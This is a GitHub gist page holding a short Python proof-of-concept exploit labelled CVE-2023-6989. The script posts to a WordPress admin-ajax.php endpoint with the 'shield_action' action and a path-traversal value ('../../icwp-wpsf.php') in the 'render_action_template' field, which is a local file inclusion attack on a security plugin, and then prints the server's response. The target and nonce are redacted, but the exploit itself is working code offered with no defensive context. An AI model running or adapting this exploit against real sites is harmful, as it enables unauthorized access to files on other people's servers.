Skip to content

Instantly share code, notes, and snippets.

@hatunaa

hatunaa/CVE-2023-6989.py

Last active March 15, 2024 07:41
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hatunaa/d07eb95936a061bb6f45b3c12055f1dc to your computer and use it in GitHub Desktop.
Save hatunaa/d07eb95936a061bb6f45b3c12055f1dc to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2023-6989 POC
Raw
CVE-2023-6989.py
import requests
url = 'https://redacted/wordpress/wp-admin/admin-ajax.php'
data = {
'action': 'shield_action',
'ex': 'generic_render',
'exnonce': '{redacted_exnonce}',
'render_action_template': '../../icwp-wpsf.php'
}
response = requests.post(url, data=data)
if response.status_code != 200:
print(f"Request failed with status code: {response.status_code}")
else:
print(response.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment